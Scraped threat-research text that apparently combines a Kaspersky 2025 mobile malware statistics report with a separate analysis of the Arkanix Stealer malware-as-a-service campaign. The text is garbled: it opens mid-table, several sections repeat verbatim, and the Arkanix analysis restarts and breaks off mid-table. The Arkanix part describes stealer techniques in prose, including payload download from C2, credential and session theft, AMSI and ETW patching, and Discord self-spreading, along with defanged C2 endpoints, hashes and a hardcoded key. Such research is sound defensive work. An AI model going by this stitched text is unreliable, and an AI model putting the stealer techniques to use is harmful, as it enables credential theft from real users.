Trojan-Banker.AndroidOS.Rewardsteal.ma
India
88.58
Trojan-Spy.AndroidOS.SmForw.ko
India
88.48
Trojan-Dropper.AndroidOS.Pylcasa.c
Brazil
88.25
Trojan-Dropper.AndroidOS.Hqwar.bf
Türkiye
88.15
Trojan-Banker.AndroidOS.Agent.pp
India
87.85
* Country where the malware was most active. ** Unique users who encountered the malware in the indicated country as a percentage of all users of Kaspersky mobile solutions who were attacked by the same malware.
Türkiye saw the highest concentration of attacks from Coper banking Trojans and their associated Hqwar droppers. In India, Rewardsteal Trojans continued to proliferate, exfiltrating victims’ payment data under the guise of monetary giveaways. Additionally, India saw a resurgence of the Thamera Trojan, which we previously observed frequently attacking users in 2023. This malware hijacks the victim’s device to illicitly register social media accounts.
The Trojan-Proxy.AndroidOS.Agent.q campaign, concentrated in Germany, utilized a compromised third-party application designed for tracking discounts at a major German retail chain. Attackers monetized these infections through unauthorized use of the victims’ devices as residential proxies.
In Brazil, 2025 saw a concentration of Pylcasa Trojan attacks. This malware is primarily used to redirect users to phishing pages or illicit online casino sites.
Mobile banking Trojans
The number of new banking Trojan installation packages surged to 255,090, representing a several-fold increase over previous years.
Mobile banking Trojan installation packages detected by Kaspersky in 2022–2025 (download)
Notably, the total number of attacks involving bankers grew by 1.5 times, maintaining the same growth rate seen in the previous year. Given the sharp spike in the number of unique malicious packages, we can conclude that these attacks yield significant profit for cybercriminals. This is further evidenced by the fact that threat actors continue to diversify their delivery channels and accelerate the production of new variants in an effort to evade detection by security solutions.
TOP 10 mobile bankers
Verdict
% 2024*
% 2025*
Difference in p.p.
Change in ranking
Trojan-Banker.AndroidOS.Mamont.da
0.86
15.65
+14.79
+28
Trojan-Banker.AndroidOS.Mamont.db
0.12
13.41
+13.29
Trojan-Banker.AndroidOS.Coper.c
7.19
9.65
+2.46
+2
Trojan-Banker.AndroidOS.Mamont.bc
10.03
6.26
–3.77
–3
Trojan-Banker.AndroidOS.Mamont.ev
0.00
4.10
+4.10
Trojan-Banker.AndroidOS.Coper.a
9.04
4.00
–5.04
–4
Trojan-Banker.AndroidOS.Mamont.ek
0.00
3.73
+3.73
Trojan-Banker.AndroidOS.Mamont.cb
0.64
3.04
+2.40
+26
Trojan-Banker.AndroidOS.Faketoken.pac
2.17
2.95
+0.77
+5
Trojan-Banker.AndroidOS.Mamont.hi
0.00
2.75
+2.75
* Unique users who encountered this malware as a percentage of all users of Kaspersky mobile solutions who encountered banking threats.
In 2025, we observed a massive surge in activity from Mamont banking Trojans. They accounted for approximately half of all new apps in their category and also were utilized in half of all banking Trojan attacks.
Conclusion
The year 2025 saw a continuing trend toward a decline in total unique unwanted software installation packages. However, we noted a significant year-over-year increase in specific threats – most notably mobile banking Trojans and spyware – even though adware remained the most frequently detected threat overall.
Among the mobile threats detected, we have seen an increased prevalence of preinstalled backdoors, such as Triada and Keenadu. Consistent with last year’s findings, certain mobile malware families continue to proliferate via official app stores. Finally, we have observed a growing interest among threat actors in leveraging compromised devices as proxies.
Starting from the third quarter of 2025, we have updated our statistical methodology based on the Kaspersky Security Network. These changes affect all sections of the report except for the installation package statistics, which remain unchanged.
To illustrate trends between reporting periods, we have recalculated the previous year’s data; consequently, these figures may differ significantly from previously published numbers. All subsequent reports will be generated using this new methodology, ensuring accurate data comparisons with the findings presented in this article.
Kaspersky Security Network (KSN) is a global network for analyzing anonymized threat intelligence, voluntarily shared by Kaspersky users. The statistics in this report are based on KSN data unless explicitly stated otherwise.
The year in figures
According to Kaspersky Security Network, in 2025:
Over 14 million attacks involving malware, adware or unwanted mobile software were blocked.
Adware remained the most prevalent mobile threat, accounting for 62% of all detections.
Over 815 thousand malicious installation packages were detected, including 255 thousand mobile banking Trojans.
The year’s highlights
In 2025, cybercriminals launched an average of approximately 1.17 million attacks per month against mobile devices using malicious, advertising, or unwanted software. In total, Kaspersky solutions blocked 14,059,465 attacks throughout the year.
Attacks on Kaspersky mobile users in 2025 (download)
Beyond the malware mentioned in previous quarterly reports, 2025 saw the discovery of several other notable Trojans. Among these, in Q4 we uncovered the Keenadu preinstalled backdoor. This malware is integrated into device firmware during the manufacturing stage. The malicious code is injected into libandroid_runtime.so – a core library for the Android Java runtime environment – allowing a copy of the backdoor to enter the address space of every app running on the device. Depending on the specific app, the malware can then perform actions such as inflating ad views, displaying banners on behalf of other apps, or hijacking search queries. The functionality of Keenadu is virtually unlimited, as its malicious modules are downloaded dynamically and can be updated remotely.
Cybersecurity researchers also identified the Kimwolf IoT botnet, which specifically targets Android TV boxes. Infected devices are capable of launching DDoS attacks, operating as reverse proxies, and executing malicious commands via a reverse shell. Subsequent analysis revealed that Kimwolf’s reverse proxy functionality was being leveraged by proxy providers to use compromised home devices as residential proxies.
Another notable discovery in 2025 was the LunaSpy Trojan.
LunaSpy Trojan, distributed under the guise of an antivirus app
Disguised as antivirus software, this spyware exfiltrates browser passwords, messaging app credentials, SMS messages, and call logs. Furthermore, it is capable of recording audio via the device’s microphone and capturing video through the camera. This threat primarily targeted users in Russia.
Mobile threat statistics
815,735 new unique installation packages were observed in 2025, showing a decrease compared to the previous year. While the decline in 2024 was less pronounced, this past year saw the figure drop by nearly one-third.
Detected Android-specific malware and unwanted software installation packages in 2022–2025 (download)
The overall decrease in detected packages is primarily due to a reduction in apps categorized as not-a-virus. Conversely, the number of Trojans has increased significantly, a trend clearly reflected in the distribution data below.
Detected packages by type
Distribution* of detected mobile software by type, 2024–2025 (download)
* The data for the previous year may differ from previously published data due to some verdicts being retrospectively revised.
A significant increase in Trojan-Banker and Trojan-Spy apps was accompanied by a decline in AdWare and RiskTool files. The most prevalent banking Trojans were Mamont (accounting for 49.8% of apps) and Creduz (22.5%). Leading the persistent adware category were MobiDash (39%), Adlo (27%), and HiddenAd (20%).
Share* of users attacked by each type of malware or unwanted software out of all users of Kaspersky mobile solutions attacked in 2024–2025 (download)
* The total may exceed 100% if the same users encountered multiple attack types.
Trojan-Banker malware saw a significant surge in 2025, not only in terms of unique file counts but also in the total number of attacks. Nevertheless, this category ranked fourth overall, trailing far behind the Trojan file category, which was dominated by various modifications of Triada and Fakemoney.
TOP 20 types of mobile malware
Note that the malware rankings below exclude riskware and potentially unwanted apps, such as RiskTool and adware.
Verdict
% 2024*
% 2025*
Difference in p.p.
Change in ranking
Trojan.AndroidOS.Triada.fe
0.04
9.84
+9.80
Trojan.AndroidOS.Triada.gn
2.94
8.14
+5.21
+6
Trojan.AndroidOS.Fakemoney.v
7.46
7.97
+0.51
+1
DangerousObject.Multi.Generic
7.73
5.83
–1.91
–2
Trojan.AndroidOS.Triada.ii
0.00
5.25
+5.25
Trojan-Banker.AndroidOS.Mamont.da
0.10
4.12
+4.02
Trojan.AndroidOS.Triada.ga
10.56
3.75
–6.81
–6
Trojan-Banker.AndroidOS.Mamont.db
0.01
3.53
+3.51
Backdoor.AndroidOS.Triada.z
0.00
2.79
+2.79
Trojan-Banker.AndroidOS.Coper.c
0.81
2.54
+1.72
+35
Trojan-Clicker.AndroidOS.Agent.bh
0.34
2.48
+2.14
+74
Trojan-Dropper.Linux.Agent.gen
1.82
2.37
+0.55
+4
Trojan.AndroidOS.Boogr.gsh
5.41
2.06
–3.35
–8
DangerousObject.AndroidOS.GenericML
2.42
1.97
–0.45
–3
Trojan.AndroidOS.Triada.gs
3.69
1.93
–1.76
–9
Trojan-Downloader.AndroidOS.Agent.no
0.00
1.87
+1.87
Trojan.AndroidOS.Triada.hf
0.00
1.75
+1.75
Trojan-Banker.AndroidOS.Mamont.bc
1.13
1.65
+0.51
+8
Trojan.AndroidOS.Generic.
2.13
1.47
–0.66
–6
Trojan.AndroidOS.Triada.hy
0.00
1.44
+1.44
* Unique users who encountered this malware as a percentage of all attacked users of Kaspersky mobile solutions.
The list is largely dominated by the Triada family, which is distributed via malicious modifications of popular messaging apps. Another infection vector involves tricking victims into installing an official messaging app within a “customized virtual environment” that supposedly offers enhanced configuration options. Fakemoney scam applications, which promise fraudulent investment opportunities or fake payouts, continue to target users frequently, ranking third in our statistics. Meanwhile, the Mamont banking Trojan variants occupy the 6th, 8th, and 18th positions by number of attacks. The Triada backdoor preinstalled in the firmware of certain devices reached the 9th spot.
Region-specific malware
This section describes malware families whose attack campaigns are concentrated within specific countries.
Verdict
Country*
%**
Trojan-Banker.AndroidOS.Coper.a
Türkiye
95.74
Trojan-Dropper.AndroidOS.Hqwar.bj
Türkiye
94.96
Trojan.AndroidOS.Thamera.bb
India
94.71
Trojan-Proxy.AndroidOS.Agent.q
Germany
93.70
Trojan-Banker.AndroidOS.Coper.c
Türkiye
93.42
Trojan-Banker.AndroidOS.Rewardsteal.lv
India
92.44
Trojan-Banker.AndroidOS.Rewardsteal.jp
India
92.31
Trojan-Banker.AndroidOS.Rewardsteal.ib
India
91.91
Trojan-Dropper.AndroidOS.Rewardsteal.h
India
91.45
Trojan-Banker.AndroidOS.Rewardsteal.nk
India
90.98
Trojan-Dropper.AndroidOS.Agent.sm
Türkiye
90.34
Trojan-Dropper.AndroidOS.Rewardsteal.ac
India
89.38
Trojan-Banker.AndroidOS.Rewardsteal.oa
India
89.18
Trojan-Banker.AndroidOS.Rewardsteal.ma
India
88.58
Trojan-Spy.AndroidOS.SmForw.ko
India
88.48
Trojan-Dropper.AndroidOS.Pylcasa.c
Brazil
88.25
Trojan-Dropper.AndroidOS.Hqwar.bf
Türkiye
88.15
Trojan-Banker.AndroidOS.Agent.pp
India
87.85
* Country where the malware was most active. ** Unique users who encountered the malware in the indicated country as a percentage of all users of Kaspersky mobile solutions who were attacked by the same malware.
Türkiye saw the highest concentration of attacks from Coper banking Trojans and their associated Hqwar droppers. In India, Rewardsteal Trojans continued to proliferate, exfiltrating victims’ payment data under the guise of monetary giveaways. Additionally, India saw a resurgence of the Thamera Trojan, which we previously observed frequently attacking users in 2023. This malware hijacks the victim’s device to illicitly register social media accounts.
The Trojan-Proxy.AndroidOS.Agent.q campaign, concentrated in Germany, utilized a compromised third-party application designed for tracking discounts at a major German retail chain. Attackers monetized these infections through unauthorized use of the victims’ devices as residential proxies.
In Brazil, 2025 saw a concentration of Pylcasa Trojan attacks. This malware is primarily used to redirect users to phishing pages or illicit online casino sites.
Mobile banking Trojans
The number of new banking Trojan installation packages surged to 255,090, representing a several-fold increase over previous years.
Mobile banking Trojan installation packages detected by Kaspersky in 2022–2025 (download)
Notably, the total number of attacks involving bankers grew by 1.5 times, maintaining the same growth rate seen in the previous year. Given the sharp spike in the number of unique malicious packages, we can conclude that these attacks yield significant profit for cybercriminals. This is further evidenced by the fact that threat actors continue to diversify their delivery channels and accelerate the production of new variants in an effort to evade detection by security solutions.
TOP 10 mobile bankers
Verdict
% 2024*
% 2025*
Difference in p.p.
Change in ranking
Trojan-Banker.AndroidOS.Mamont.da
0.86
15.65
+14.79
+28
Trojan-Banker.AndroidOS.Mamont.db
0.12
13.41
+13.29
Trojan-Banker.AndroidOS.Coper.c
7.19
9.65
+2.46
+2
Trojan-Banker.AndroidOS.Mamont.bc
10.03
6.26
–3.77
–3
Trojan-Banker.AndroidOS.Mamont.ev
0.00
4.10
+4.10
Trojan-Banker.AndroidOS.Coper.a
9.04
4.00
–5.04
–4
Trojan-Banker.AndroidOS.Mamont.ek
0.00
3.73
+3.73
Trojan-Banker.AndroidOS.Mamont.cb
0.64
3.04
+2.40
+26
Trojan-Banker.AndroidOS.Faketoken.pac
2.17
2.95
+0.77
+5
Trojan-Banker.AndroidOS.Mamont.hi
0.00
2.75
+2.75
* Unique users who encountered this malware as a percentage of all users of Kaspersky mobile solutions who encountered banking threats.
In 2025, we observed a massive surge in activity from Mamont banking Trojans. They accounted for approximately half of all new apps in their category and also were utilized in half of all banking Trojan attacks.
Conclusion
The year 2025 saw a continuing trend toward a decline in total unique unwanted software installation packages. However, we noted a significant year-over-year increase in specific threats – most notably mobile banking Trojans and spyware – even though adware remained the most frequently detected threat overall.
Among the mobile threats detected, we have seen an increased prevalence of preinstalled backdoors, such as Triada and Keenadu. Consistent with last year’s findings, certain mobile malware families continue to proliferate via official app stores. Finally, we have observed a growing interest among threat actors in leveraging compromised devices as proxies.
In October 2025, we discovered a series of forum posts advertising a previously unknown stealer, dubbed “Arkanix Stealer” by its authors. It operated under a MaaS (malware-as-a-service) model, providing users not only with the implant but also with access to a control panel featuring configurable payloads and statistics. The set of implants included a publicly available browser post-exploitation tool known as ChromElevator, which was delivered by a native C++ version of the stealer. This version featured a wide range of capabilities, from collecting system information to stealing cryptocurrency wallet data. Alongside that, we have also discovered Python implementation of the stealer capable of dynamically modifying its configuration. The Python version was often packed, thus giving the adversary multiple methods for distributing their malware. It is also worth noting that Arkanix was rather a one-shot malicious campaign: at the time of writing this article, the affiliate program appears to be already taken down.
Kaspersky products detect this threat as Trojan-PSW.Win64.Coins.*, HEUR:Trojan-PSW.Multi.Disco.gen, Trojan.Python.Agent.*.
Technical details
Background
In October 2025, a series of posts was discovered on various dark web forums, advertising a stealer referred to by its author as “Arkanix Stealer”. These posts detail the features of the stealer and include a link to a Discord server, which serves as the primary communication channel between the author and the users of the stealer.
Example of an Arkanix Stealer advertisement
Upon further research utilizing public resources, we identified a set of implants associated with this stealer.
Initial infection or spreading
The initial infection vector remains unknown. However, based on some of the file names (such as steam_account_checker_pro_v1.py, discord_nitro_checker.py, and TikTokAccountBotter.exe) of the loader scripts we obtained, it can be concluded with high confidence that the initial infection vector involved phishing.
Python loader
MD5
208fa7e01f72a50334f3d7607f6b82bf
File name
discord_nitro_code_validator_right_aligned.py
The Python loader is the script responsible for downloading and executing the Python-based version of the Arkanix infostealer. We have observed both plaintext Python scripts and those bundled using PyInstaller or Nuitka, all of which share a common execution vector and are slightly obfuscated. These scripts often serve as decoys, initially appearing to contain legitimate code. Some of them do have useful functionality, and others do nothing apart from loading the stealer. Additionally, we have encountered samples that employ no obfuscation at all, in which the infostealer is launched in a separate thread via Python’s built-in threading module.
Variants of Python loaders executing the next stage
Upon execution, the loader first installs the required packages — namely, requests, pycryptodome, and psutil — via the pip package manager, utilizing the subprocess module. On Microsoft Windows systems, the loader also installs pywin32. In some of the analyzed samples, this process is carried out twice. Since the loader does not perform any output validation of the module installation command, it proceeds to make a POST request to hxxps://arkanix[.]pw/api/session/create to register the current compromised machine on the panel with a predefined set of parameters even if the installation failed. After that, the stealer makes a GET request to hxxps://arkanix[.]pw/stealer.py and executes the downloaded payload.
Python stealer version
MD5
af8fd03c1ec81811acf16d4182f3b5e1
File name
–
During our research, we obtained a sample of the Python implementation of the Arkanix stealer, which was downloaded from the endpoint hxxps://arkanix[.]pw/stealer.py by the previous stage.
The stealer’s capabilities — or features, as referred to by the author — in this version are configurable, with the default configuration predefined within the script file. To dynamically update the feature list, the stealer makes a GET request to hxxps://arkanix[.]pw/api/features/{payload_id}, indicating that these capabilities can be modified on the panel side. The feature list is identical to the one that was described in the GDATA report.
Configurable options
Prior to executing the information retrieval-related functions, the stealer makes a request to hxxps://arkanix[.]pw/upload_dropper.py, saves the response to %TEMP%\upd_{random 8-byte name}.py, and executes it. We do not have access to the contents of this script, which is referred to as the “dropper” by the attackers.
During its main information retrieval routine, at the end of each processing stage, the collected information is serialized into JSON format and saved to a predefined path, such as %LOCALAPPDATA\Arkanix_lol\%info_class%.json.
In the following, we will provide a more detailed description of the Python version’s data collection features.
System info collection
Arkanix Stealer is capable of collecting a set of info about the compromised system. This info includes:
OS version
CPU and GPU info
RAM size
Screen resolution
Keyboard layout
Time zone
Installed software
Antivirus software
VPN
Information collection is performed using standard shell commands with the exception of the VPN check. The latter is implemented by querying the endpoint hxxps://ipapi[.]co/json/ and verifying whether the associated IP address belongs to a known set of VPNs, proxies, or Tor exit nodes.
Browser features
This stealer is capable of extracting various types of data from supported browsers (22 in total, ranging from the widely popular Google Chrome to the Tor Browser). The list of supported browsers is hardcoded, and unlike other parameters, it cannot be modified during execution. In addition to a separate Chrome grabber module (which we’ll discuss later), the stealer itself supports the extraction of diverse information, such as:
Browser history (URLs, visit count and last visit)
Autofill information (email, phone, addresses and payment cards details)
Saved passwords
Cookies
In case of Chromium-based browsers, 0Auth2 data is also extracted
All information is decrypted using either the Windows DPAPI or AES, where applicable, and searched for relevant keywords. In the case of browser information collection, the stealer searches exclusively for keywords related to banking (e.g., “revolut”, “stripe”, “bank”) and cryptocurrencies (e.g., “binance”, “metamask”, “wallet”). In addition to this, the stealer is capable of extracting extension data from a hardcoded list of extensions associated with cryptocurrencies.
Part of the extension list which the stealer utilizes to extract data from
Telegram info collection
Telegram data collection begins with terminating the Telegram.exe process using the taskkill command. Subsequently, if the telegram_optimized feature is set to False, the malware zips the entire tdata directory (typically located at %APPDATA%\Roaming\Telegram Desktop\tdata) and transmits it to the attacker. Otherwise, it selectively copies and zips only the subdirectories containing valuable info, such as message log. The generated archive is sent to the endpoint /delivery with the filename tdata_session.zip.
Discord capabilities
The stealer includes two features connected with Discord: credentials stealing and self-spreading. The first one can be utilized to acquire credentials both from the standard client and custom clients. If the client is Chromium-based, the stealer employs the same data exfiltration mechanism as during browser credentials stealing.
The self-spreading feature is configurable (meaning it can be disabled in the config). The stealer acquires the list of user’s friends and channels via the Discord API and sends a message provided by the attacker. This stealer does not support attaching files to such messages.
VPN data collection
The VPN collector is searching for a set of known VPN software to extract account credentials from the credentials file with a known path that gets parsed with a regular expression. The extraction occurs from the following set of applications:
Mullvad VPN
NordVPN
ExpressVPN
ProtonVPN
File retrieval
File retrieval is performed regardless of the configuration. The script relies on a predefined set of paths associated with the current user (such as Desktop, Download, etc.) and file extensions mainly connected with documents and media. The script also has a predefined list of filenames to exfiltrate. The extracted files are packed into a ZIP archive which is later sent to the C2 asynchronously. An interesting aspect is that the filename list includes several French words, such as “motdepasse” (French for “password”), “banque” (French for “bank”), “secret” (French for “secret”), and “compte” (French for “account”).
Other payloads
We were able to identify additional modules that are downloaded from the C2 rather than embedded into the stealer script; however, we weren’t able to obtain them. These modules can be described by the following table, with the “Details” column referring to the information that could be extracted from the main stealer code.
Module name
Endpoint to download
Details
Chrome grabber
/api/chrome-grabber-template/{payload_id}
–
Wallet patcher
/api/wallet-patcher/{payload_id}
Checks whether “Exodus” and “Atomic” cryptocurrency wallets are installed
Extra collector
/api/extra-collector/{payload_id}
Uses a set of options from the config, such as collect_filezilla, collect_vpn_data, collect_steam, and collect_screenshots
HVNC
/hvnc
Is saved to the Startup directory (%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\hvnc.py) to execute upon system boot
The Wallet patcher and Extra collector scripts are received in an encrypted form from the C2 server. To decrypt them, the attackers utilize the AES-GCM algorithm in conjunction with PBKDF2 (HMAC and SHA256). After decryption, the additional payload has its template placeholders replaced and is stored under a partially randomized name within a temporary folder.
Decryption routine and template substitution
Once all operations are completed, the stealer removes itself from the drive, along with the artifacts folder (Arkanix_lol in this case).
Native version of stealer
MD5
a3fc46332dcd0a95e336f6927bae8bb7
File name
ArkanixStealer.exe
During our analysis, we were able to obtain both the release and debug versions of the native implementation, as both were uploaded to publicly available resources. The following are the key differences between the two:
The release version employs VMProtect, but does not utilize code virtualization.
The debug version communicates with a Discord bot for command and control (C2), whereas the release version uses the previously mentioned C2 domain arkanix[.]pw.
The debug version includes extensive logging, presumably for the authors’ debugging purposes.
Notably, the native implementation explicitly references the name of the stealer in the VersionInfo resources. This naming convention is consistent across both the debug version and certain samples containing the release version of the implant.
Version info
After launching, the stealer implements a series of analysis countermeasures to verify that the application is not being executed within a sandboxed environment or run under a debugger. Following these checks, the sample patches AmsiScanBuffer and EtwEventWrite to prevent the triggering of any unwanted events by the system.
Once the preliminary checks are completed, the sample proceeds to gather information about the system. The list of capabilities is hardcoded and cannot be modified from the server side, in contrast to the Python version. What is more, the feature list is quite similar to the Python version except a few ones.
RDP connections
The stealer is capable of collecting information about known RDP connections that the compromised user has. To achieve this, it searches for .rdp files in %USERPROFILE%\Documents and extracts the full server address, password, username and server port.
Gaming files
The stealer also targets gamers and is capable to steal credentials from the popular gaming platform clients, including:
Steam
Epic Games Launcher
net
Riot
Origin
Unreal Engine
Ubisoft Connect
GOG
Screenshots
The native version, unlike its Python counterpart, is capable of capturing screenshots for each monitor via capCreateCaptureWindowA WinAPI.
In conclusion, this sample communicates with the C2 server through the same endpoints as the Python version. However, in this instance, all data is encrypted using the same AES-GCM + PBKDF2 (HMAC and SHA256) scheme as partially employed in the Python variant. In some observed samples, the key used was arkanix_secret_key_v20_2024. Alongside that, the C++ sample explicitly sets the User-Agent to ArkanixStealer/1.0.
Post-exploitation browser data extractor
MD5
3283f8c54a3ddf0bc0d4111cc1f950c0
File name
–
This is an implant embedded within the resources of the C++ implementation. The author incorporated it into the resource section without applying any obfuscation or encryption. Subsequently, the stealer extracts the payload to a temporary folder with a randomly generated name composed of hexadecimal digits (0-9 and A-F) and executes it using the CreateProcess WinAPI. The payload itself is the unaltered publicly available project known as “ChromElevator”. To summarize, this tool consists of two components: an injector and the main payload. The injector initializes a direct syscall engine, spawns a suspended target browser process, and injects the decrypted code into it via Nt syscalls. The injected payload then decrypts the browser master key and exfiltrates data such as cookies, login information, web data, and so on.
Infrastructure
During the Arkanix campaign, two domains used in the attacks were identified. Although these domains were routed through Cloudflare, a real IP address was successfully discovered for one of them, namely, arkanix[.]pw. For the second one we only obtained a Cloudflare IP address.
Domain
IP
First seen
ASN
arkanix[.]pw
195.246.231[.]60
Oct 09, 2025
–
arkanix[.]ru
172.67.186[.]193
Oct 19, 2025
–
Both servers were also utilized to host the stealer panel, which allows attackers to monitor their victims. The contents of the panel are secured behind a sign-in page. Closer to the end of our research, the panel was seemingly taken down with no message or notice.
Stealer panel sign-in page
Stealer promotion
During the research of this campaign, we noticed that the forum posts advertising the stealer contained a link leading to a Discord server dubbed “Arkanix” by the authors. The server posed as a forum where authors posted various content and clients could ask various questions regarding this malicious software. While users mainly thank and ask about when the feature promised by the authors will be released and added into the stealer, the content made by the authors is broader. The adversary builds up the communication with potential buyers using the same marketing and communication methods real companies employ. To begin with, they warm up the audience by posting surveys about whether they should implement specific features, such as Discord injection and binding with a legitimate application (sic!).
Feature votes
Additionally, the author promised to release a crypter as a side project in four to six weeks, at the end of October. As of now, the stealer seems to have been taken down without any notice while the crypter was never released.
Arkanix Crypter
Furthermore, the Arkanix Stealer authors decided to implement a referral program to attract new customers. Referrers were promised an additional free hour to their premium license, while invited customers received seven days of free “premium” trial use. As stated in forum posts, the premium plan included the following features:
C++ native stealer
Exodus and Atomic cryptocurrency wallets injection
Increased payload generation, up to 10 payloads
Priority support
Referral program ad and corresponding panel interface
Speaking of technical details, based on the screenshot of the Visual Studio stealer project that was sent to the Discord server, we can conclude that the author is German-speaking.
This same screenshot also serves as a probable indicator of AI-assisted development as it shares the common patterns of such assistants, e.g. the presence of the utils.cpp file. What provides even more confidence is the overall code structure, the presence of comments and extensive debugging log output.
Example of LLM-specific patterns
Conclusions
Information stealers have always posed as a serious threat to users’ data. Arkanix is no exception as it targets a wide range of users, from those interested in cryptocurrencies and gaming to those using online banking. It collects a vast amount of information including highly sensitive personal data. While being quite functional, it contains probable traces of LLM-assisted development which suggests that such assistance might have drastically reduced development time and costs. Hence it follows that this campaign tends to be more of a one-shot campaign for quick financial gains rather than a long-running infection. The panel and the Discord chat were taken down around December 2025, leaving no message or traces of further development or a resurgence.
In addition, the developers behind the Arkanix Stealer decided to address the public, implementing a forum where they posted development insights, conducted surveys and even ran a referral program where you could get bonuses for “bringing a friend”. This behavior makes Arkanix more of a public software product than a shady stealer.
In October 2025, we discovered a series of forum posts advertising a previously unknown stealer, dubbed “Arkanix Stealer” by its authors. It operated under a MaaS (malware-as-a-service) model, providing users not only with the implant but also with access to a control panel featuring configurable payloads and statistics. The set of implants included a publicly available browser post-exploitation tool known as ChromElevator, which was delivered by a native C++ version of the stealer. This version featured a wide range of capabilities, from collecting system information to stealing cryptocurrency wallet data. Alongside that, we have also discovered Python implementation of the stealer capable of dynamically modifying its configuration. The Python version was often packed, thus giving the adversary multiple methods for distributing their malware. It is also worth noting that Arkanix was rather a one-shot malicious campaign: at the time of writing this article, the affiliate program appears to be already taken down.
Kaspersky products detect this threat as Trojan-PSW.Win64.Coins.*, HEUR:Trojan-PSW.Multi.Disco.gen, Trojan.Python.Agent.*.
Technical details
Background
In October 2025, a series of posts was discovered on various dark web forums, advertising a stealer referred to by its author as “Arkanix Stealer”. These posts detail the features of the stealer and include a link to a Discord server, which serves as the primary communication channel between the author and the users of the stealer.
Example of an Arkanix Stealer advertisement
Upon further research utilizing public resources, we identified a set of implants associated with this stealer.
Initial infection or spreading
The initial infection vector remains unknown. However, based on some of the file names (such as steam_account_checker_pro_v1.py, discord_nitro_checker.py, and TikTokAccountBotter.exe) of the loader scripts we obtained, it can be concluded with high confidence that the initial infection vector involved phishing.
Python loader
MD5
208fa7e01f72a50334f3d7607f6b82bf
File name
discord_nitro_code_validator_right_aligned.py
The Python loader is the script responsible for downloading and executing the Python-based version of the Arkanix infostealer. We have observed both plaintext Python scripts and those bundled using PyInstaller or Nuitka, all of which share a common execution vector and are slightly obfuscated. These scripts often serve as decoys, initially appearing to contain legitimate code. Some of them do have useful functionality, and others do nothing apart from loading the stealer. Additionally, we have encountered samples that employ no obfuscation at all, in which the infostealer is launched in a separate thread via Python’s built-in threading module.
Variants of Python loaders executing the next stage
Upon execution, the loader first installs the required packages — namely, requests, pycryptodome, and psutil — via the pip package manager, utilizing the subprocess module. On Microsoft Windows systems, the loader also installs pywin32. In some of the analyzed samples, this process is carried out twice. Since the loader does not perform any output validation of the module installation command, it proceeds to make a POST request to hxxps://arkanix[.]pw/api/session/create to register the current compromised machine on the panel with a predefined set of parameters even if the installation failed. After that, the stealer makes a GET request to hxxps://arkanix[.]pw/stealer.py and executes the downloaded payload.
Python stealer version
MD5
af8fd03c1ec81811acf16d4182f3b5e1
File name
–
During our research, we obtained a sample of the Python implementation of the Arkanix stealer, which was downloaded from the endpoint hxxps://arkanix[.]pw/stealer.py by the previous stage.
The stealer’s capabilities — or features, as referred to by the author — in this version are configurable, with the default configuration predefined within the script file. To dynamically update the feature list, the stealer makes a GET request to hxxps://arkanix[.]pw/api/features/{payload_id}, indicating that these capabilities can be modified on the panel side. The feature list is identical to the one that was described in the GDATA report.
Configurable options
Prior to executing the information retrieval-related functions, the stealer makes a request to hxxps://arkanix[.]pw/upload_dropper.py, saves the response to %TEMP%\upd_{random 8-byte name}.py, and executes it. We do not have access to the contents of this script, which is referred to as the “dropper” by the attackers.
During its main information retrieval routine, at the end of each processing stage, the collected information is serialized into JSON format and saved to a predefined path, such as %LOCALAPPDATA\Arkanix_lol\%info_class%.json.
In the following, we will provide a more detailed description of the Python version’s data collection features.
System info collection
Arkanix Stealer is capable of collecting a set of info about the compromised system. This info includes:
OS version
CPU and GPU info
RAM size
Screen resolution
Keyboard layout
Time zone
Installed software
Antivirus software
VPN
Information collection is performed using standard shell commands with the exception of the VPN check. The latter is implemented by querying the endpoint hxxps://ipapi[.]co/json/ and verifying whether the associated IP address belongs to a known set of VPNs, proxies, or Tor exit nodes.
Browser features
This stealer is capable of extracting various types of data from supported browsers (22 in total, ranging from the widely popular Google Chrome to the Tor Browser). The list of supported browsers is hardcoded, and unlike other parameters, it cannot be modified during execution. In addition to a separate Chrome grabber module (which we’ll discuss later), the stealer itself supports the extraction of diverse information, such as:
Browser history (URLs, visit count and last visit)
Autofill information (email, phone, addresses and payment cards details)
Saved passwords
Cookies
In case of Chromium-based browsers, 0Auth2 data is also extracted
All information is decrypted using either the Windows DPAPI or AES, where applicable, and searched for relevant keywords. In the case of browser information collection, the stealer searches exclusively for keywords related to banking (e.g., “revolut”, “stripe”, “bank”) and cryptocurrencies (e.g., “binance”, “metamask”, “wallet”). In addition to this, the stealer is capable of extracting extension data from a hardcoded list of extensions associated with cryptocurrencies.
Part of the extension list which the stealer utilizes to extract data from
Telegram info collection
Telegram data collection begins with terminating the Telegram.exe process using the taskkill command. Subsequently, if the telegram_optimized feature is set to False, the malware zips the entire tdata directory (typically located at %APPDATA%\Roaming\Telegram Desktop\tdata) and transmits it to the attacker. Otherwise, it selectively copies and zips only the subdirectories containing valuable info, such as message log. The generated archive is sent to the endpoint /delivery with the filename tdata_session.zip.
Discord capabilities
The stealer includes two features connected with Discord: credentials stealing and self-spreading. The first one can be utilized to acquire credentials both from the standard client and custom clients. If the client is Chromium-based, the stealer employs the same data exfiltration mechanism as during browser credentials stealing.
The self-spreading feature is configurable (meaning it can be disabled in the config). The stealer acquires the list of user’s friends and channels via the Discord API and sends a message provided by the attacker. This stealer does not support attaching files to such messages.
VPN data collection
The VPN collector is searching for a set of known VPN software to extract account credentials from the credentials file with a known path that gets parsed with a regular expression. The extraction occurs from the following set of applications:
Mullvad VPN
NordVPN
ExpressVPN
ProtonVPN
File retrieval
File retrieval is performed regardless of the configuration. The script relies on a predefined set of paths associated with the current user (such as Desktop, Download, etc.) and file extensions mainly connected with documents and media. The script also has a predefined list of filenames to exfiltrate. The extracted files are packed into a ZIP archive which is later sent to the C2 asynchronously. An interesting aspect is that the filename list includes several French words, such as “motdepasse” (French for “password”), “banque” (French for “bank”), “secret” (French for “secret”), and “compte” (French for “account”).
Other payloads
We were able to identify additional modules that are downloaded from the C2 rather than embedded into the stealer script; however, we weren’t able to obtain them. These modules can be described by the following table, with the “Details” column referring to the information that could be extracted from the main stealer code.
Module name
Endpoint to download
Details
Chrome grabber
/api/chrome-grabber-template/{payload_id}
–
Wallet patcher
/api/wallet-patcher/{payload_id}
Checks whether “Exodus” and “Atomic” cryptocurrency wallets are installed
Extra collector
/api/extra-collector/{payload_id}
Uses a set of options from the config, such as collect_filezilla, collect_vpn_data, collect_steam, and collect_screenshots
HVNC
/hvnc
